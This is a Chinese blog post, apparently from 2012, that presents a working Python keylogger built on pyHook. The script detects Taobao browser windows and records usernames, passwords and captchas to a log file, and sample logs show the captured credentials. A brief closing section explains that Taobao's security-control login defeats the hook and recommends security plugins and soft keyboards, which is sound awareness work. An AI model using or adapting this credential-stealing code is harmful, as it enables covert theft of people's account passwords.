Python:通过获取淘宝账号和密码的实验,来看登陆方式选择的重要性

来源:互联网 发布:照片变卡通人物软件 编辑:程序博客网 时间:2024/04/29 08:31
 在昨天的文章《Python:监控键盘输入、鼠标操作,并将捕获到的信息记录到文件中》中,我们实现了将用户输入记录到文件的功能,今天看看这一功能的实际应用。

一、实现思路:

  1、判断当前用户操作的窗口,如果窗口是淘宝网的页面,则开始监控。

  2、将用户在淘宝上的所有输入全部记录下来,通常这些记录中会包括用户登陆时的用户名、密码,电话、邮箱等敏感信息。

二、代码实现:

[python] view plaincopyprint?
  1. #!/usr/bin/env python   
  2. # -*- coding: utf-8 -*-   
  3.   
  4. import pythoncom  
  5. import pyHook  
  6. import time  
  7. import logging  
  8. import logging.config  
  9.   
  10. #日志配置文件名   
  11. LOG_FILENAME = 'hook_logging.conf'  
  12.   
  13. #日志语句提示信息   
  14. LOG_CONTENT_NAME = 'taobao_input_msg'  
  15.   
  16. def log_init(log_config_filename, logname):  
  17.     ''''' 
  18.     Function:日志模块初始化函数 
  19.     Input:log_config_filename:日志配置文件名 
  20.            lognmae:每条日志前的提示语句 
  21.     Output: logger 
  22.     author: socrates 
  23.     blog:http://blog.csdn.net/dyx1024 
  24.     date:2012-02-13 
  25.     '''  
  26.     logging.config.fileConfig(log_config_filename)  
  27.     logger = logging.getLogger(logname)  
  28.     return logger  
  29.   
  30.       
  31. def onMouseEvent(event):  
  32.     ''''' 
  33.     Function:处理鼠标左键单击事件,如果当前MSG中存放了信息, 
  34.                                  将其写入文件,因为有的用户在输入 完用户名后,不是使用TAB键切换到密码 
  35.                                  框,而是通过鼠标切换到密码输入窗口这种情况应该属于大多数网民的习惯, 
  36.                                  所以此处要判断是否通过鼠标切换了输入窗口 
  37.     Input:even 
  38.     Output: Ture 
  39.     author: socrates 
  40.     blog:http://blog.csdn.net/dyx1024 
  41.     date:2012-03-03 
  42.     '''  
  43.     global MSG  
  44.     if len(MSG) != 0:  
  45.         hook_logger.info('current page:%s' % event.WindowName)  
  46.         hook_logger.error('information:%s' % MSG)  
  47.         MSG = ''   
  48.     return True  
  49.           
  50.   
  51. def onKeyboardEvent(event):   
  52.     "处理键盘事件"    
  53.     ''''' 
  54.     Function:处理键盘事件,如果当前窗口为TAOBAO页面,刚开始监控并记录用户输入 
  55.                                    因为此时用户可能准备输入用户名及密码进行登陆,所以将用户输入的所有可见 
  56.                                  的ascii字符记录下来,此处要考虑用户是否使用了TAB键或回车键来 
  57.                                 结束输入,此时要将信息记录到日志中。 
  58.     Input:even 
  59.     Output: Ture 
  60.     author: socrates 
  61.     blog:http://blog.csdn.net/dyx1024 
  62.     date:2012-03-03 
  63.     '''       
  64.     global MSG  
  65.     if event.WindowName.decode('GBK').find(u"淘宝") != -1:  
  66.         if (127 >= event.Ascii > 31or (event.Ascii == 8):  
  67.             MSG += chr(event.Ascii)  
  68.             hook_logger.info('ascii:%d(%s)' % (event.Ascii, str(event.Key)))          
  69.         if (event.Ascii == 9or (event.Ascii == 13):  
  70.             hook_logger.info('current page:%s' % event.WindowName)  
  71.             hook_logger.error('information:%s' % MSG)  
  72.             MSG = ''   
  73.     return True  
  74.   
  75.   
  76. if __name__ == "__main__":   
  77.     ''''' 
  78.     Function:获取TAOBAO账号及密码 
  79.     Input:NONE 
  80.     Output: NONE 
  81.     author: socrates 
  82.     blog:http://blog.csdn.net/dyx1024 
  83.     date:2012-03-03 
  84.     '''    
  85.    
  86.     #打开日志文件   
  87.     #初始化日志系统   
  88.     hook_logger = log_init(LOG_FILENAME, LOG_CONTENT_NAME)   
  89.       
  90.     MSG = ''         
  91.   
  92.     #创建hook句柄   
  93.     hm = pyHook.HookManager()  
  94.   
  95.     #监控鼠标   
  96.     hm.SubscribeMouseLeftDown(onMouseEvent)  
  97.     hm.HookMouse()  
  98.       
  99.     #监控键盘   
  100.     hm.KeyDown = onKeyboardEvent  
  101.     hm.HookKeyboard()  
  102.   
  103.     #循环获取消息   
  104.     pythoncom.PumpMessages()  
  105.       

三、测试

  步骤:

   1、打开taobao页面,输入用户名及密码,并登陆,窗口截图如下:

   


2、看看后台日志文件taobao_log.log中的内容:

[plain] view plaincopyprint?
  1. [2012-03-03 09:03:20,812  taobao_input_msg]INFO:  ascii:115(S)  
  2. [2012-03-03 09:03:21,155  taobao_input_msg]INFO:  ascii:111(O)  
  3. [2012-03-03 09:03:22,453  taobao_input_msg]INFO:  ascii:99(C)  
  4. [2012-03-03 09:03:23,046  taobao_input_msg]INFO:  ascii:114(R)  
  5. [2012-03-03 09:03:23,280  taobao_input_msg]INFO:  ascii:97(A)  
  6. [2012-03-03 09:03:23,608  taobao_input_msg]INFO:  ascii:116(T)  
  7. [2012-03-03 09:03:23,890  taobao_input_msg]INFO:  ascii:101(E)  
  8. [2012-03-03 09:03:24,828  taobao_input_msg]INFO:  ascii:115(S)  
  9. [2012-03-03 09:03:25,875  taobao_input_msg]INFO:  ascii:64(2)  
  10. [2012-03-03 09:03:26,921  taobao_input_msg]INFO:  ascii:103(G)  
  11. [2012-03-03 09:03:27,312  taobao_input_msg]INFO:  ascii:109(M)  
  12. [2012-03-03 09:03:27,515  taobao_input_msg]INFO:  ascii:97(A)  
  13. [2012-03-03 09:03:27,733  taobao_input_msg]INFO:  ascii:105(I)  
  14. [2012-03-03 09:03:27,953  taobao_input_msg]INFO:  ascii:108(L)  
  15. [2012-03-03 09:03:29,000  taobao_input_msg]INFO:  ascii:46(Oem_Period)  
  16. [2012-03-03 09:03:29,280  taobao_input_msg]INFO:  ascii:99(C)  
  17. [2012-03-03 09:03:29,358  taobao_input_msg]INFO:  ascii:111(O)  
  18. [2012-03-03 09:03:29,953  taobao_input_msg]INFO:  ascii:109(M)  
  19. [2012-03-03 09:03:30,390  taobao_input_msg]INFO:  current page:淘宝网 - 淘我喜欢! - Google Chrome  
  20. [2012-03-03 09:03:30,390  taobao_input_msg]ERROR:  information:socrates@gmail.com  
  21. [2012-03-03 09:03:33,140  taobao_input_msg]INFO:  ascii:109(M)  
  22. [2012-03-03 09:03:33,467  taobao_input_msg]INFO:  ascii:121(Y)  
  23. [2012-03-03 09:03:34,358  taobao_input_msg]INFO:  ascii:95(Oem_Minus)  
  24. [2012-03-03 09:03:35,030  taobao_input_msg]INFO:  ascii:112(P)  
  25. [2012-03-03 09:03:35,328  taobao_input_msg]INFO:  ascii:97(A)  
  26. [2012-03-03 09:03:35,703  taobao_input_msg]INFO:  ascii:115(S)  
  27. [2012-03-03 09:03:35,875  taobao_input_msg]INFO:  ascii:115(S)  
  28. [2012-03-03 09:03:36,280  taobao_input_msg]INFO:  ascii:119(W)  
  29. [2012-03-03 09:03:36,733  taobao_input_msg]INFO:  ascii:111(O)  
  30. [2012-03-03 09:03:37,030  taobao_input_msg]INFO:  ascii:114(R)  
  31. [2012-03-03 09:03:37,421  taobao_input_msg]INFO:  ascii:100(D)  
  32. [2012-03-03 09:03:38,937  taobao_input_msg]INFO:  ascii:64(2)  
  33. [2012-03-03 09:03:40,015  taobao_input_msg]INFO:  ascii:116(T)  
  34. [2012-03-03 09:03:40,280  taobao_input_msg]INFO:  ascii:97(A)  
  35. [2012-03-03 09:03:40,500  taobao_input_msg]INFO:  ascii:111(O)  
  36. [2012-03-03 09:03:41,030  taobao_input_msg]INFO:  ascii:98(B)  
  37. [2012-03-03 09:03:41,265  taobao_input_msg]INFO:  ascii:97(A)  
  38. [2012-03-03 09:03:41,421  taobao_input_msg]INFO:  ascii:111(O)  
  39. [2012-03-03 09:03:43,405  taobao_input_msg]INFO:  current page:None  
  40. [2012-03-03 09:03:43,405  taobao_input_msg]ERROR:  information:my_password@taobao  
  41. [2012-03-03 09:03:45,765  taobao_input_msg]INFO:  ascii:83(S)  
  42. [2012-03-03 09:03:46,140  taobao_input_msg]INFO:  ascii:75(K)  
  43. [2012-03-03 09:03:47,000  taobao_input_msg]INFO:  ascii:55(7)  
  44. [2012-03-03 09:03:48,030  taobao_input_msg]INFO:  ascii:87(W)  
  45. [2012-03-03 09:03:52,233  taobao_input_msg]INFO:  current page:None  
  46. [2012-03-03 09:03:52,233  taobao_input_msg]ERROR:  information:SK7W  

上面的日志中,我将用户每次的按键用info级别保存下来,当用户输入完成后,将合并后的串以ERROR级别打印出来,如果你不需要输入info级别,只需要修改日志配置文件设置打印级别高于info即可,记录日志这块的内容可见文章《Python:日志模块logging的应用》。之所以打印是为和合并后的串进行校验,并且如果用户输入过程中出现错误,使用退格键删除,可以通过ascii码识别出,从日志中可以看到,有三个关键性信息:

[2012-03-03 09:03:30,390  taobao_input_msg]ERROR:  information:socrates@gmail.com
[2012-03-03 09:03:43,405  taobao_input_msg]ERROR:  information:my_password@taobao
[2012-03-03 09:03:52,233  taobao_input_msg]ERROR:  information:SK7W


以上三条ERROR日志分别对应了我输入的用户名、密码(仅仅是个测试)、验证码。


四、我们应该怎么做?

  从上面的实验可以看出,如果有人在我们电脑中植入了这样一个小程序,有可能会获取到一些敏感数据,应该如何避免呢,淘宝其实已经想好了,就是在登录时,只需要将“安全控件登陆”这个选项勾上,这样键盘的输入将不会被hook住。再次测试如下:

1、输入不变,只是勾选“安全控件登陆”,如图:



看看这次的日志信息:

[plain] view plaincopyprint?
  1. [2012-03-03 09:12:11,562  taobao_input_msg]INFO:  ascii:115(S)  
  2. [2012-03-03 09:12:12,187  taobao_input_msg]INFO:  ascii:111(O)  
  3. [2012-03-03 09:12:12,733  taobao_input_msg]INFO:  ascii:99(C)  
  4. [2012-03-03 09:12:13,217  taobao_input_msg]INFO:  ascii:114(R)  
  5. [2012-03-03 09:12:13,530  taobao_input_msg]INFO:  ascii:97(A)  
  6. [2012-03-03 09:12:13,890  taobao_input_msg]INFO:  ascii:116(T)  
  7. [2012-03-03 09:12:14,125  taobao_input_msg]INFO:  ascii:101(E)  
  8. [2012-03-03 09:12:14,390  taobao_input_msg]INFO:  ascii:115(S)  
  9. [2012-03-03 09:12:15,655  taobao_input_msg]INFO:  ascii:64(2)  
  10. [2012-03-03 09:12:16,375  taobao_input_msg]INFO:  ascii:103(G)  
  11. [2012-03-03 09:12:16,717  taobao_input_msg]INFO:  ascii:109(M)  
  12. [2012-03-03 09:12:16,796  taobao_input_msg]INFO:  ascii:97(A)  
  13. [2012-03-03 09:12:16,953  taobao_input_msg]INFO:  ascii:105(I)  
  14. [2012-03-03 09:12:17,155  taobao_input_msg]INFO:  ascii:108(L)  
  15. [2012-03-03 09:12:17,750  taobao_input_msg]INFO:  ascii:46(Oem_Period)  
  16. [2012-03-03 09:12:17,967  taobao_input_msg]INFO:  ascii:99(C)  
  17. [2012-03-03 09:12:18,078  taobao_input_msg]INFO:  ascii:111(O)  
  18. [2012-03-03 09:12:18,233  taobao_input_msg]INFO:  ascii:109(M)  
  19. [2012-03-03 09:12:18,671  taobao_input_msg]INFO:  current page:淘宝网 - 淘我喜欢! - Windows Internet Explorer  
  20. [2012-03-03 09:12:18,671  taobao_input_msg]ERROR:  information:socrates@gmail.com  
  21. [2012-03-03 09:12:30,530  taobao_input_msg]INFO:  ascii:101(E)  
  22. [2012-03-03 09:12:32,546  taobao_input_msg]INFO:  ascii:54(6)  
  23. [2012-03-03 09:12:33,717  taobao_input_msg]INFO:  ascii:104(H)  
  24. [2012-03-03 09:12:34,592  taobao_input_msg]INFO:  ascii:56(8)  
  25. [2012-03-03 09:12:40,828  taobao_input_msg]INFO:  current page:None  
  26. [2012-03-03 09:12:40,828  taobao_input_msg]ERROR:  information:e6h8  

可以看出,在密码框中输入的内容没有被记录下来。


五、总结

  从上面的实验可以看出,登录方式设计的重要性,如果对安全性考虑不足,这块很容易被利用。对于用户来说,在我们登录一些涉及个人敏感数据的网站时,最好安装上网站提供的安全插件,再者,在输入时采用软键盘等均可以避免输入被监控。

原创粉丝点击